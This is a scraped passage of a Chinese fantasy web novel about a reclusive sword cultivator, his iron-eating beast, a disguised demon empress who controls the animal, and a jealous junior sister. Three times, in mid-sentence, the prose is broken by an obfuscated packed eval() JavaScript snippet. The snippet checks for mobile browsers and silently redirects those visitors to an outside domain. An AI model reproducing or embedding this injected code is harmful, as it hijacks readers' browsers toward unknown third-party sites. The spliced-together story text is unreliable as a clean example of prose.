褚潇潇跳下灵剑,裙摆犹如开在空中的白莲,腰封用金线绣着樱花,勾勒出少女姣好曲线。 墨发用粉玉桃花簪半挽,为活泼灵动的气质增添两分清雅。 “师兄,你伤势如何了?” 苏见清嗓音清淡,“劳师妹记挂,并无大碍。” 他换了身衣衫,除了面色苍白外看不出异样,但噬魂鞭乃是门内排名第一的刑罚,怎么可能如他表现出来的若无其事? 褚潇潇咬唇,素手一挥,面前凭空摆了数个瓷瓶,“师兄,我这儿灵丹灵药多,你……” “不必了。” 苏见清礼貌打断,神色疏远,“不劳师妹破费,我自己去药堂即可。” 褚潇潇嘴唇一弯,委屈开口,“师兄,我们是嫡亲的师兄妹,不过几瓶药而已,你连这都不肯欠我的。为何从小到大师兄都对我不假辞色,可是我无意间做了什么惹怒了师兄?若是如此,我向你道歉。” “师妹很好,并无不妥。” 苏见清平声,“只是我习惯了独身一人,不喜与人亲近。这些丹药师妹还是收回去罢。” 从幼时开始,他的确一直都是一个人。 她与师兄弟们嬉戏玩闹,练习剑术时,苏见清从不参与,而是不畏风雨,日复一日地独自修炼。 褚潇潇不情不愿地收回丹药。 “师……” 苏见清将之打断,“我还要养伤,师妹若是无事,便请先回罢。” 逐客令下得这般果断无情,褚潇潇脸上有些挂不住,贝齿咬住下唇,不甘却不得不开口,“那我就不打扰师兄养伤了。待师兄伤势好转,我再来看望。” 话落,她化为一道流光消失在青竹峰。 蕴禾躺在青羽上,双臂枕在脑后,将这一幕尽收眼底,忍不住啧啧两声。 这苏见清一点也不怜香惜玉。 方才那姑娘姿色虽不及狐族的绝色天娇,却也是个娇滴滴的小美人。还是他师妹呢,竟也这般毫不留情。 这样冷清的性子,他是怎么为玄清域牺牲四次的? 蕴禾想不通。 这时,苏见清走到食铁兽身边蹲下,指尖颇有些忧虑地顺了下它头顶绒毛。 睡了这么久,不会出事吧? 它的伤还未好呢。 下一刻,在苏见清的注视下,食铁兽张开眼睛,慢吞吞翻了个身。 后背的伤撞在身下青竹上,它疼得大叫一声,眼泪不受控制地冒了出来。 蕴禾扶额,暗暗骂了一声,这蠢货。 苏见清一惊,伸手去扶它,识海里的疼痛倏地爆发,他额上瞬间冒出冷汗,头重脚轻朝下栽去。 一人一兽摔成一团,青竹噼里啪啦炸开。 苏见清时刻记得食铁兽的伤,落地前抱着它软乎乎的身子翻转,后背重重撞上草坪,鞭伤似是裂了,疼得他嘴唇一刹惨白。 食铁兽压在他身上,黑眼珠里冒出受惊的泪花,呜呜呜地低咽着。 蕴禾面无表情看着这一幕,不太想承认那个哭唧唧的蠢货是她的替身。 一丝妖力从指尖延伸到食铁兽身上,它眼珠一亮,从苏见清身上爬起。 毛茸茸的触感离开,苏见清竟有几分怅然若失。很快疼痛的浪潮涌来,让他脑海空茫,来不及去感受别的。 缓了一会儿,苏见清坐起身,第一时间问食铁兽,“怎么样,伤裂了吗?” 在蕴禾的控制下,食铁兽对他摇了下头。 苏见清微怔。 方才他摔倒时,食铁兽的反应无措又笨拙,像个刚刚出生,面对世界一片茫然的小兽,如今却恢复了些许灵动。 是因为方才还未睡醒? 收回妖力,蕴禾望着湛蓝苍穹,一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716882|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了摸肚子。 昨日离开半月楼时,她点了几只烧鸡带走,现在有些饿了。 回味着烧鸡的美味,蕴禾舔了舔唇角,从储物手链里取出一只烧鸡。 她这储物手链品质上佳,烧鸡犹如刚出锅那般热气腾腾的。 蕴禾坐起身,掰了只鸡腿,一口咬下一块肉,她眼睛幸福地弯起。 这一松懈,食铁兽又变回最初呆愣的模样,下意识去寻找食物。 它钻进青竹堆里,高高兴兴地拿起一根竹子。 见它吃得正香,苏见清也觉出饿意。 他如今有伤在身,哪怕是动一下,识海里的疼痛便排山倒海般压来,实在没有精力弄吃食。 好在芥子囊里还有几瓶辟谷丹。 苏见清吃了一颗,腹部升起暖意,饥饿感瞬间消失。 只是…… 他拧起眉。 怎么总觉得有股烧鸡味? 应当是错觉。 苏见清闭眼打坐。 阳光夹带暖意,照在身上格外舒畅。这种天很适合入眠,但无时无刻的疼痛让苏见清时刻保持清醒。且他总觉得鼻端的烧鸡味越发浓郁。 无奈之下,苏见清只得睁眼。 食铁兽仍在乖巧进食,竹林一如既往,并无异常。 他远眺山脚。 青竹峰外不知何时停了两道身影,一人说:“连褚师妹都被苏师弟赶出去了,你说他能让我们进去吗?” 另一人无奈,“齐师兄,无人说褚师妹被赶走。” “是没人说,可师兄弟们都有眼睛啊。”齐岱有理有据,“褚师妹离开青竹峰时眼睛里可带着泪花,若不是被赶走的,她哭什么?” “师兄,不可人云亦云。” 方若望语气微沉,“我们是来看望苏师弟的,褚师妹如何与我们无关,快些上峰吧。” 齐岱仍是犹疑,“苏师弟能让我们上去吗?” 峰上竹林涛涛,微凉的声音道:“二位师兄请进。” 齐岱一惊,嘴唇将将张开又闭拢,与方若望传音。 【我们方才说的话都被苏师弟听见了?】 方若望有气无力斜他一眼,唤出灵剑。 他伤势未愈,脸色直到今日依旧苍白,齐岱不敢劳累他,急忙召唤灵剑,带着方若望上了青竹峰。 落在竹屋前,盘坐在地的白衣剑修微微颔首,“齐师兄,方师兄。” 方若望和齐岱还礼,“苏师弟。” 苏见清:“青竹峰并非我独有,二位师兄若想,随时可进,不必询问我的意见。” 青竹峰本就是伏渊派给弟子们居住的,只是位置偏僻,鲜有人愿意入住。自从苏见清在此处建洞府后,更无人愿来。 此言一出,齐岱有些尴尬,知道方才的话都被苏见清听见了。 他一向直来直往,干脆告罪,“方才是我胡言乱语,师弟若心有芥蒂,只管打我两下出气,我绝无怨言。” 苏见清摇头,长睫微敛,“师兄不必在意。” 语罢不再开口。 气氛略显凝滞,方若望拿出一瓶丹药,“我有伤在身,这几日多亏了齐师兄去药堂拿药。数量有些多,我这一时半会儿的也用不上,师弟若不介意只管拿去。” 清秀脸庞带着笑,方若望含笑开口,“效果还不错,我刚回伏渊时差点连气都出不了,不过三四日,便能下床走动了。” 白瓷瓶上勾勒一棵九叶灵草,最下方纹着药堂的纹样。 九转玄灵丹。 能拿出这药,可见方若望的诚心。 有了它,食铁兽背后的伤两日便能痊愈。 苏见清薄唇微抿,语气为难,“不知可否劳烦齐师兄帮我一个忙?” 8. 第 8 章 “我?” 齐岱指自己。 见苏见清点头,他爽快应承,“行,苏师弟想要我做什么?” 虽然苏师弟性子冷不会说话,但他总归救了他和方师弟一命,身上又带着伤。 他这般罕见地开口请求帮助,齐岱自无不应。 念及伤势,一想到曾见过受了噬魂鞭的师兄师弟惨痛的模样,齐岱便忍不住打了个颤。 哪怕只是一鞭,都让师兄弟们疼得死去活来,可苏师弟受了整整三十鞭还能面不改色与他们说话。 齐岱心生佩服,苏师弟,实乃神人也。 “回山途中遇到一只焱金蚁,劳烦齐师兄替我卖了,赚的灵石当做买下这瓶九转玄灵丹的费用。” 苏见清从芥子囊内取出焱金蚁的尸体,金光一闪,一具庞然大物出现在众人眼中。 “这么大的焱金蚁,得有金丹修为吧?” 齐岱绕着焱金蚁啧啧称奇,摸了把妖兽外壳,他眼睛发亮,“成,苏师弟只管等着就是,两日之内,必定成事。” 焱金蚁是极好的炼器材料,但大多是筑基修为,能修炼到金丹的焱金蚁极为难得。别说外边,就算是伏渊内也有的是师兄弟想要,齐岱有把握,这焱金蚁定能卖个好价钱。 苏见清颔首,“多谢齐师兄。” 方若望笑着递了递掌心的九转玄灵丹,“既是苏师弟自己买下的,那还不快收下。” 掌心灵气一闪,苏见清收好丹药,嘴唇嚅动,略有涩声,“多谢方师兄。” 方若望摆手,“同门之间,不必客气。” 他说了两句便开始咳嗽,面如金纸,脸色惨淡。 “怎么样,没事吧?” 齐岱收好焱金蚁,转身扶住方若望。 方若望摇头,“不打扰苏师弟养伤了,我们先行一步。” 齐岱唤出灵剑,扶稳方若望,转头对苏见清道:“事成之后,我再来看望苏师弟。” 略一颔首,他带着方若望御剑离开青竹峰。 苏见清收回视线,倒出两颗九转玄灵丹,自己吃下一颗后来到食铁兽身旁,清冷嗓音掺杂一丝不易察觉的诱哄。 “来,把药吃下,伤很快就能好了。” 食铁兽垂着头不理他。 那头的蕴禾终于吃完了烧鸡,洗净沾满油渍的手,半靠在青羽上,目光望着一人一兽的方向。 苏见清趁食铁兽不备,将丹药塞进它嘴里,被后者嚼吧嚼吧两下咽下。 喂完丹药,苏见清舒了口气,挨着食铁兽盘腿坐下,继续打坐调息。 他进入冥想,周边环绕一圈灵光,是九转玄灵丹在生效。 食铁兽打了个哈欠,慢吞吞伏下身子在草坪上摊成一张毛毯,缓缓闭上黑黝眼珠。 一人一兽都在养伤,看情形没个三四天醒不了。 蕴禾起身,坐着青羽飘出青竹峰。 伏渊之内少有她不能去的地方,现下闲得无聊,正好去逛逛。 她飘到一座满是灵剑的山峰,还未靠近,铺天盖地的剑光闪得她眼疼,蕴禾嫌弃地飘远了。 又去了名为药堂的山,那山上种满灵药,隔了老远都能嗅到药草的清香。 途中蕴禾还瞧见齐姓剑修鬼鬼祟祟和几人见面,像是在卖苏见清斩杀的那头焱金蚁。 却不知为何一脸奸笑,伤眼得很。 伏渊极大,各式各样的山峰延绵不绝,哪怕蕴禾坐着日行千里的青羽,也足足花了小半天才逛完。 除了玄陵的沉霄峰,连典淮的长离峰她都去转了圈。 妖修性格随性,且有些孤高自傲,看不上人魔两族。多年前妖皇式微,各方妖王为了争夺皇位打得头破血流,却不约而同不允许别族浑水摸鱼。 无论妖域内情况如何,关起门来要打要闹都是自己的事,无关人士少来沾边,颇有些遗世独立的孤傲之感。 蕴禾上位后,妖域更是只管关上门过自己的日子,对人魔两族不予理会。 但蕴禾好歹是一族之皇,别的不说,人魔两族的大能却是要知道一二的。 玄陵正是其中之一。 他是上一任伏渊掌门的首席大弟子,天资出众,十八结丹,二十一结婴,三十六化神,如今已是大乘境大能,离渡劫境仅一步之遥,在玄清域威名远扬,颇受尊崇。 蕴禾虽不惧他,但毕竟是“隐姓埋名”来的伏渊,麻烦少些自是最好。 逛了小半日,蕴禾施施然坐着青羽下了山。 上次瞥见半月楼附近还有别的酒楼,她都想去尝尝。 在山下浪了几日,乐不思蜀的蕴禾终于想起青竹峰上的一人一兽,满载而归。 归来时苏见清未醒,蕴禾随手摘了一片竹叶放在嘴里咬着。 竹叶入口的刹那,她眸光一亮。 青竹峰上的竹子和妖域的好像不太一样,莫名觉得要更香一些。 蕴禾正打算再摘一张,眉头蓦地一挑。 不远处,苏见清长睫轻颤,睁眼的刹那,眸底似有绿光闪过。 他吐出一口浊气,动了动身子。 不愧是专治外伤的九转玄灵丹,不过一颗而已,化神长老留下的鞭伤竟已差不多痊愈。 只是识海中的疼痛却无减轻的迹象。 不过疼得多了,适应过后也没那么难以忍受。 身旁有轻微响动,苏见清偏头,只见食铁兽睁开眼,翻了个身坐起。 它后背的伤已然痊愈,新长出了粉嫩皮肉,除了秃了大片毛之外,看着和最初已无区别。 苏见清试探性摸了下食铁兽,见它并未拒绝,眸底亮出一点浅光。 掌下手感极好,食铁兽看着他,表情呈现出呆萌。 苏见清摸了会儿,缓缓起身。 不能总让它席地而眠,还是得为它建个屋子。 苏见清巡睃着,准备在竹屋左侧再建一间屋子。 他颇为雷厉风行,念头一出,即刻开始行动。 用长虹斩了一大片竹子,苏见清坐在竹堆里,去掉多余的枝叶。 这是要做什么? 蕴禾好奇凑近,双腿在空中晃动,托腮看着苏见清的动作。 过了片刻,她不确定地看向竹屋。 这是要再建一间屋子? 幼年记忆里,蕴禾的父母也曾建过竹屋,但往往不到半日,便被小食铁兽啃得破破烂烂。父母无奈,再没用竹子建过屋子。 许多年没见过别人建竹屋,蕴禾颇有兴致,青羽一角弯起好让她半躺着,从储物手链里取了个洗干净的红色果子,一边吃着一边看苏见清。 食铁兽没了她的操控,遵从本性,在草坪上追着一群蝴蝶玩。 若是忽略它光秃秃的后背,这幅画面倒是有几分隐居山野的纯朴意味。 苏见清动作快,除去枝叶后袖子一挥,青竹在空中并排而立,长虹剑光一闪,齐齐从青竹上斩过,唰唰几声,只剩削得整整齐齐的竹竿。 不到一刻钟,青竹全部处理妥当,苏见清将竹屋左侧打通,开了一扇门,随后开始立柱建屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716883|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 竹屋极快显出雏形,苏见清最后将门安上,简单的屋子便完成了。 两座竹屋相邻并立,他绕着屋子转了两圈,眉心微锁。 “苏师弟,你醒了。” 齐岱的大嗓门在空中传响,蕴禾和苏见清一同转身。 剑修高大的身影降落,齐岱面含笑意,大步朝苏见清走近。 “前几日来时你在调息,方师弟估摸着你快醒了,便让我来走一趟。” 掌心翻转,一枚芥子囊出现,齐岱笑道:“扣去九转玄灵丹所需灵石,这是剩下的。” 苏见清迟疑,“竟有剩余?” 金丹期的焱金蚁虽难得,但九转玄灵丹同样珍贵。苏见清算过,卖焱金蚁所得的灵石应当差不多能抵去九转玄灵丹的费用,或许还要再差一些,他准备伤好之后赚些灵石补上,可齐岱却说还有剩余? 齐岱大笑。 一头金丹期焱金蚁的价值的确与九转玄灵丹差不多,但方师弟给他出了法子,放出他手里有金丹期焱金蚁的消息,放言价高者得。 这样一来价格可不就炒上去了? 齐岱解释后,蕴禾挑了挑眉,那位姓方的剑修脑子不错嘛。 她咔嚓一声咬了口果子,心中腹诽,都说剑修穷,却也不尽然,有脑子的做什么都吃得开。这伏渊上下大多都是剑修,也没见有多穷啊。 苏见清沉默须臾接过芥子囊,嗓音微沉,“多谢齐师兄和方师兄。” 齐岱豪爽笑道:“都是同门师兄弟,不必谢。等方师弟伤好,我准备请他去半月楼吃一顿,到时候苏师弟也去。” 苏见清为难,下意识拒绝,齐岱已转过视线,觑着在草坪里扑蝴蝶的大团子,“咦,苏师弟这食铁兽的伤好了?” 苏见清眸光微软,“嗯,快痊愈了。” 齐岱嘟囔,“就是这后背光秃秃的有点丑。赶明儿我给苏师弟带瓶生发膏来,保管一晚上就能长出毛。” 他旋身上了灵剑,清朗笑声顺风散开,“我还要去看望方师弟,苏师弟,咱们改日见。” 蕴禾冷呵一声,等齐岱飞远,打出一道妖力。 虽然她也觉得食铁兽光着后背丑极了,但它好歹也是她的一部分,她能嫌弃,别人不能。 满意听到齐岱的惊叫声,蕴禾咬下一口果子。 一转头,却见苏见清御剑飞出青竹峰。 蕴禾跟上,看着他采了一大堆花花草草,又高价在一名女修手里购买了两床玉青蚕丝被。 这种灵兽看似青色玉石,吐出的丝织成的被衾极为柔软轻薄,躺上去跟陷在云里似的,很受女修青睐。 也不知道苏见清买来做甚。 一路跟着回到青竹峰,蕴禾便见苏见清又做了张实心竹床,将玉青蚕丝被铺上,一床叠好放在床边。 他取出那些花花草草,将之点缀在竹床竹门和房顶上,不消片刻,一座精致漂亮的竹屋出现在蕴禾眼前。 苏见清引着食铁兽进了竹屋,轻声问:“喜欢吗?” 眸色清亮,隐含期待。 蕴禾看了眼干净柔软的竹床,又瞅了瞅茫然懵懂的食铁兽,低头看着身下青羽。 哼,玉青蚕丝被算什么?她这青羽可是由青鸾一族族长身上最漂亮的羽毛炼制而成,不仅能日行千里,还能依照她的心意变换形态。 区区玉青蚕丝被,怎么能和它比? 这么想着,食铁兽已爬上竹床,开开心心地在床上蹦跶几下。 蕴禾瞧着它的笑脸,莫名觉得有些碍眼。 9. 第 9 章 蕴禾目光危险,苏见清却是眸光温软注视着食铁兽。 毛团子在床上摊成面饼,爪子有一下没一下地扒拉着床边芬芳花卉。 爪子一松开,开得正盛的灵花花茎一弯,回到原处。 食铁兽似是发现了好玩的东西,又去扒拉灵花,黑黝黝的眼珠来回滴溜转。 见它玩得开心,苏见清转身出去,从竹林里挖了些笋。 竹屋后盖有一间竹棚,其内置放着灶台锅碗和一张竹制矮桌,算是简陋厨房。 角落里有一小袋灵米,苏见清焖上米饭,取了两根笋处理干净,切成薄片。 屋里暂时没有别的食材,他清炒一个笋片,再炖碗汤,虽然简单,但清香不散,勾.人想品尝一口。 闻到香味的食铁兽从竹屋里出来,目标明确地往堆在角落里的笋走去。 苏见清并未阻止。把菜放在矮桌上,盛了碗饭,取出一个蒲团跪坐,低头进食。 他身形高挑,肩背放松,姿态并不尴尬,格外从容。 食铁兽拿了颗笋,锋利牙齿剥去外壳,露出白嫩笋肉。 它一口咬下,神情陶醉。 一人一兽各吃各的,分外和谐。 苏见清吃了片笋,眉心蓦地一拧,目光扫视。 为何方才总觉得有人在看他? 夜里繁星密集成河,星光璀璨,与竹廊下纱灯相映成趣。 青竹峰上安静得唯有清风吹拂竹林的沙沙声,月光如水,竹影投射而下,于草地织成光怪陆离的影戏。 竹林间荧光闪烁,萤虫飞舞,绿光似幻,美得神秘。 一切都与寻常一般无二,并无异常。 或许是感觉错了。 苏见清收回视线。 竹棚外,蕴禾盘腿坐于青羽上,周身如水波流动的结界将身影罩住。 没想到,这苏见清如此敏锐,不过是多看了他两眼就能察觉到异常。 蕴禾皱脸盯着苏见清手边的汤,在她的注视下,后者端起碗,将笋连带汤吃得干干净净,一滴都没留下。 蕴禾取出一只烧鹅,恶狠狠地咬了一口,表情颇为狰狞。 竹棚里从后山引了一股溪水,苏见清没用清洁术,动手将锅碗刷干净,顺道给食铁兽接了一碗溪水。 青竹峰上灵气充裕,这溪水很是清冽甘甜,食铁兽几口喝完,嘴边沾了一圈水渍。 苏见清贴心地用帕子拭去,带着吃饱喝足的食铁兽回了竹屋。 看着它爬上竹床昏昏欲睡,这才回了自己屋子打坐修炼。 两道房门一关,虽无法阻隔蕴禾的视线,但她就是莫名不爽。 她臭着脸,单臂枕在脑后,沐浴着灿烂星光,凶狠地咬着烧鹅。 …… 翌日。 苏见清修炼完一睁眼,已经快正午了。 出门一看,食铁兽钻进竹林,锋锐的爪子在竹子上留下道道抓痕,它抱着竹子一顿摇晃,竹叶飒飒而落,掉在它头上肩上,落了满地。 苏见清给它砍了一捆嫩竹,挖了几颗笋,又准备了足够的水,见它坐下进食,放心转身,穿过竹林去了后山。 溪水如白练,从青竹峰上逶迤而下,远远便听汩汩流水声。 点点金光围绕小溪而舞,璀璨夺目,熠熠生辉。水流清澈,灵鱼畅游,尾巴摆动时,溪水轻轻往外荡。 长虹出鞘,裹着剑气朝着溪水急射而去。 “轰——”水花哗啦啦迸射四溅,长虹在水流中畅通无阻,“咻”地回到苏见清身边,入鞘后,几条灵鱼砸下,在草地上猛烈翻滚。 苏见清拔了根草,将灵鱼穿成一串,拎着它们回到竹屋。 留了两条,剩下的放在竹棚下的水缸里,灵鱼甫一入水,立即活泼地摆着鱼尾,不似方才的半死不活。 苏见清将鱼处理干净,一条熬汤,一条红烧。 香味很快飘出去,青羽上的蕴禾动了动鼻子,硬生生被香醒了。 一睁眼便见苏见清又在做饭,只能看不能吃,蕴禾简直一肚子闷气。 她恹恹地打了个哈欠,报复性从储物手链里取出一大堆吃食,一会儿喝口翡翠丸子汤,一会儿吃口红枣糕,一会儿又去吃炸得酥脆的小鱼干,奢靡到了极点。 或许吃不到的才是最好的,即便嘴里不停,蕴禾心里依旧挂念着苏见清的红烧鱼和鱼汤,连进食的动作都慢了下来。 眼看苏见清又将饭菜吃得干干净净,她一脸生无可恋地倒在青羽上,忿忿咬了口卤兔。 想她堂堂妖皇,在妖域想吃什么立即有妖族大厨准备,如今竟龟缩于一小小山头,忍耐着一个剑修日日在她面前烹饪佳肴,勾起她腹中馋虫,却无法吃到嘴里。 憋屈,这日子过得实在太憋屈了。 就在这时,苏见清不知从哪儿又端来一碗鱼汤,寻到食铁兽放到它面前。 食铁兽正面朝天,爪子里握着一根青竹,半阖着眼睛打瞌睡。 察觉到有人靠近,它睁眼觑苏见清一眼。 苏见清:“喝吗?” 食铁兽鼻子动了动,没什么兴趣地转过头,晒着阳光昏昏入睡。 苏见清不解。 最初见它时,分明也吃鱼的,为何回了伏渊,反倒只吃竹和笋,别的一概不吃? 可见食铁兽毫无兴趣,他也不能强逼它喝下,苏见清只好端起碗,将鱼汤放回厨房,随后看了眼睡着的食铁兽,御剑离开青竹峰。 蕴禾现在对他意见很大,没有心情跟上。 她靠着青羽翘着腿,手里把玩着一颗如红宝石鲜艳的果子。 往上一抛,果子直线下坠,在触碰到蕴禾掌心时灵光一闪,已被收纳至储物手链。 蕴禾跳下青羽,双足落地,越过酣睡的食铁兽走到厨房。 那碗鱼汤就放在矮竹桌上,尚未冷却,热气升腾。 她盘腿坐在蒲团上,拿过鱼汤,低头浅浅抿了一口。 入口的刹那,鲜味直直钻入蕴禾口腔,她抬起长睫,黑曜石般的眼珠蕴起亮光。 也不知这苏见清的厨艺是怎么练的,鱼做得是真不错,烤制的香,汤熬得鲜。 不知不觉,一碗鱼汤见了底。 蕴禾堪堪止住,舔了下嘴唇上残留的汤汁,端着碗走到食铁兽身边,将仅剩的一口鱼汤喂在它嘴边,旋即将碗放在它身侧。 食铁兽被蕴禾的动作惊醒,睁眼瞧见是她,依赖般往蕴禾身上蹭了蹭,闭眼安心睡去。 蕴禾推推它大脑袋,让食铁兽睡到竹堆上,招来青羽一跃而上。 碧空如洗,几只仙鹤穿过悠悠白云,鸣啼声如仙音,清脆泠泠。远处瀑布似天河倒悬,一泻千里。 双臂枕在脑后,蕴禾一腿放在青羽上,一腿吊在外面,不时晃荡。 双眼缓缓阖上,花一般粉嫩的嘴唇动了两下,似在回味鱼汤的鲜美。 竹叶无声而落,倘若有人在,可见一点轻盈绿色飘在半空,无端诡异。 “师兄!” 一阵风吹过,竹涛声响,竹叶随风飘落,卷至少女裙摆,素色衣衫上霎时多了片精致绣纹,为白衣增添一抹亮彩。 蕴禾睁眼,眼前立着一名有些眼熟的少女,她想了片刻才记起,这是那位好心来送丹药,却被苏见清赶走的小师妹。 褚潇潇往前迈一步,裙摆竹叶掉落,她踮着脚往竹屋里看了眼,困惑地自言自语,“师兄不在,他去哪儿了?” 这个问题蕴禾也无法回答。 被人从睡梦中吵醒,她很是不快,懒洋洋打了个哈欠,摸出糕点提神。 尝了两口蕴禾就放下了。 也不知是否是这糕点吃多了腻了,总觉得没有苏见清做的好吃。 蕴禾忧伤叹气。 “咦,怎么多了只食铁兽?” 蕴禾转眼一看,褚潇潇正站在食铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716884|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽面前,眼睛发亮,一手蠢蠢欲动地伸出手。 “好可爱的食铁兽,师兄那样冷漠的人,竟也会养这样的灵兽?” 褚潇潇手放在食铁兽脑袋上。柔软毛发触碰着掌心,她没忍住贴着食铁兽脑袋往下来回地摸。 摸着摸着,余光瞥见缀满灵花,精致漂亮的小竹屋,褚潇潇动作慢了下来,不知想到什么,她轻轻咬住嘴唇,嗓音轻得宛如空中飘舞的竹叶。 “师兄对一个畜生都能这么好,为何总是拒我于千里之外呢?” 蕴禾听得清楚,面朝褚潇潇的方向眯了下眼。 畜生?这是在说她? “嗷!” 食铁兽突然对着褚潇潇狂叫一声。 “啊!” 褚潇潇被吓住,下意识松开握紧的掌心,往后退两步。 食铁兽脑袋被揪疼了,一个翻身四肢着地,脚步朝着褚潇潇迫近,神色再不复方才的闲适。 褚潇潇连连后退,意识到自己竟然被一只食铁兽吓住后,面色恼怒,拔出灵剑厉声呵斥,“不准再过来。你再往前一步,当心我的剑!” 食铁兽充耳不闻,继续朝褚潇潇走近。 蕴禾没制止。 她还在记恨褚潇潇方才那一句畜生。虽然不是对着她说的,但食铁兽是她的替身,说它就是说她! 一个小丫头片子竟也敢辱骂妖族妖皇,不给她点颜色看看,当她吃素的? 蕴禾甚至边吃果子边看戏。 眼看食铁兽猛地一跃朝她扑来,褚潇潇更是气恼,手中剑光大亮,“一个畜生竟也敢在我面前放肆!” 作为玄陵宠爱的小徒弟,褚潇潇在伏渊可谓是众星捧月,她顺风顺水惯了,从小到大遭遇的唯一挫折便是苏见清。 可她能忍受苏见清的冷漠,却不能容忍一个畜生对她不敬。 气闷之下,褚潇潇出了剑。 下一刻,一道剑光从天而降,截住她的灵剑。两剑相撞,褚潇潇的剑被震出去,连带着她也倒退两步。 紧接着,那剑光接住食铁兽,将它安然放下。 剑光回转,化为一柄泛着寒气的凛冽长剑,剑柄被一只修长如玉的手握住。 “师妹,你在做什么?” 清冽冷淡的嗓音传来,褚潇潇委屈地看着手背上覆盖的寒霜,“师兄,你怎能对我出剑?” “那师妹又为何对我的灵兽出剑?” 苏见清缓步靠近。 褚潇潇抱怨,“是它突然发狂攻击我,我才反击的。” “我的灵兽最是乖巧,绝不会平白攻击。” 苏见清护在食铁兽身前,嗓音微沉,“师妹,你对它做了什么?” 褚潇潇委屈又气闷,“师兄,你怎能一回来就质问我?听说你伤势好转,我今日是特地来看望你的。青竹峰上唯有这只食铁兽,我一时好奇摸了它两下,谁知……” 话音陡然顿住,褚潇潇看着苏见清抚摸食铁兽的脑袋,也意识到它方才发狂的原因,声音弱了下去,“师兄,我、我真的是不小心才弄疼它的。” 几根浮毛落在食铁兽脑袋上,苏见清将之摘取,安慰般摸了摸它的脑袋。 食铁兽逐渐安静,乖顺地任由他动作。 听完褚潇潇的解释,苏见清平声道:“既已见了我,师妹便先回吧。我伤势虽好转,但神识之痛无法缓解,接下来还需静养。” 褚潇潇倏地红了眼。 她是伏渊的天之骄女,也有自己的骄傲,被苏见清这么毫不留情地赶客,脸庞羞耻到发烫,死死咬住唇稳住情绪。 “师兄,我、我先回去了……” 苏见清头也未抬,“师妹慢走。” 褚潇潇御剑而逃,在离开青竹峰的一瞬间,在眼眶里打转多时的泪花掉落。 恰好有两名弟子路过,惊异地瞧着她。 褚潇潇更觉丢脸,哭着捂脸回了沉霄峰。 10. 第 10 章 沉霄峰上樱花四季长盛,褚潇潇御剑飞过时,樱粉花瓣萦绕一身。 “潇潇。” 清冽嗓音将她唤住,褚潇潇停下,耷拉着脑袋回头,“师尊。” 樱花围绕着她飞舞,少女立在蓝天下,裙摆似绽放白荷,清丽脱俗,灵动绝伦。 日光穿云而出,金芒洒落,冰雪一般的仙尊,眉眼仿佛因一点阳光增添几许温柔。 玄陵看着褚潇潇的泪眼,“去哪儿,好端端的哭什么?” 冷冽的话音里偏偏能听出温柔腔调,褚潇潇压下的委屈似海浪一重重漫上心头,几乎瞬间红了眼,“师兄他……” “他欺负你了?” 玄陵的嗓音沉了两个度,拉回褚潇潇告状的欲.望。 她咬住唇。 师兄本就不喜她,若是因她之故被师尊责罚,往后更不会让她靠近了。 褚潇潇半垂着脑袋摇头,声音瓮声瓮气的,“没有,只是见师兄伤重,有些难过罢了。” 玄陵:“他不是与人换了九转玄灵丹?” “九转玄灵丹只能治外伤,又不能治神识的痛。” 褚潇潇嘟嘴抱怨,“都怪师尊罚这么重。” “痛得狠了,他才能长记性。” 玄陵道:“好了,你师叔方才送来不少灵器,你来看看可有喜欢的?” 褚潇潇眼睛晶亮抬头,足尖一点跃下灵剑,快步走到玄陵身边拉住他袖子撒娇,“我就知道师尊对我最好了!师尊,里面有珠钗首饰吗?我的簪子都戴腻了,咱们快去看看吧。” 玄陵无奈摇头,“你啊。” …… 苏见清微弯着腰,抚摸食铁兽的脑袋,“还疼吗?” 食铁兽扭了两下,躲开苏见清的手,转身往回走到竹堆旁坐下。 苏见清目光落在它嘴边,弯腰将地上的碗拾起,嘴角浅浅勾了下,嗓音夹杂一丝浅淡笑意。 “先前不吃,怎么我走了又吃了?” 食铁兽自然不会回复,倒地打了个滚,身上立即沾了不少草屑。 苏见清确认它没受太大损伤,端着碗回到厨房。 他从芥子囊内拿出不少东西,有两袋灵米,两袋杂粮,各种果蔬调料。 蕴禾托着下巴飘在他身后,懒懒地想。 他出去就是买这些去了? 想到那碗鱼汤的滋味,蕴禾舔了舔唇角。 “苏师弟!” 齐岱入了青竹峰,一进来便用大嗓门喊着苏见清。 苏见清从厨房出来,略带不解,“齐师兄有事?” “嗐,你那食铁兽背后不是秃了一块吗?这么丑,着实有碍观瞻。我特意寻了位养灵兽的师妹买了瓶生发膏给你那食铁兽用,不出一日,定能让它长出毛发。” 